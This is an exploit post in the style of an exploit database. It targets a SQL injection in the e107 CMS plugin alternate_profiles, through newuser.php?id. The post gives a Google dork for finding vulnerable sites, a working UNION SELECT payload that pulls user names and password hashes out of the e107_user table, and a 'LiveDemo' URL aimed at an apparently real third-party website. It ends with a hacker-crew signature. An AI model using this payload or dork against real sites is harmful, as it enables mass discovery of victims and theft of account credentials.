############################################################# e107 Plugin alternate_profiles (newuser.php?id) Remote SQL-injetion Vulnerability ############################################################# [~] Author boom3rang -------------------------------- [~] Site www.khg-crew.ws -------------------------------- [~] Greetz KHG & H!tm@N & chs & redc00de & proxy-ki11er & Hurley -------------------------------- [!] Script Name: E107 [!] Plugin Vuln: alternate_profiles/newuser.php?id= [!] Dork: inurl:"/alternate_profiles/ ############################################################# --------------------------------------------------------------------------------------------------- [-] POC: http://localhost/e107_plugins/alternate_profiles/newuser.php?id=[exploit] --------------------------------------------------------------------------------------------------- [-] Exploit: -9999+union+all+select+1,concat(user_name,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+e107_user/* --------------------------------------------------------------------------------------------------- [-] LiveDemo: http://briefcaseit.com/e107_plugins/alternate_profiles/newuser.php?id=-9999+union+all+select+1,concat(user_name,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+e107_user/* --------------------------------------------------------------------------------------------------- ######################################### - United States of Albania - Proud to be Albanian - Proud to be Muslim #########################################